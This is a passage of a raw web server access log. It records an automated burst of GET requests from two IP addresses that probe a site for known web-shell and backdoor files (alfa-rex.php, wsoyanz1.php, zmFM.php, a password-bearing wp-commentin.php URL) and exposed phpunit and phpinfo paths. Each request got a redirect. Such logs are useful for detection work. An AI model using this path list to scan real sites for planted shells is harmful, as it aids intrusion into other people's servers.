/wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-admin/css/service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-admin/css/colors/ectoplasm/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /jetpack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-includes/PHPMailer/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-admin/includes/ArjnrN.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /xltavrat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-includes/PHPMailer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:14 -0400] "GET /indosec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-admin/js/widgets/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /.well-known/acme-challenge/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /.wp-back.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:14 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-includes/certificates/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-admin/images/313.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-includes/sitemaps/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-includes/theme-compat/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-includes/Text/bu2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-includes/sitemaps/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:14 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-admin/includes/tsconfig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-includes/Text/Diff/Engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /wp-includes/images/smilies/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:14 -0400] "GET /uploads/Alex-Cross.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-admin/css/colors/ew1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-includes/ID3/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-admin/includes/footerw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-content/upgrade/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-includes/PHPailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /libraries/fof/database/iterator/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-admin/maint/searchy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:23:15 -0400] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-content/data-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-admin/css/colors/coffee/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-content/plugins/dhon/newsfeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-includes/SimplePie/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /vedcve.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /plugins/finder/categories/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-content/uploads/2024/01/3_hacker.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:15 -0400] "GET /wp-includes/Text/Diff/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /jsdindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-includes/Text/Diff/Renderer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /thanks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-includes/SimplePie/gzdecode.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-includes/images/wlw/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - 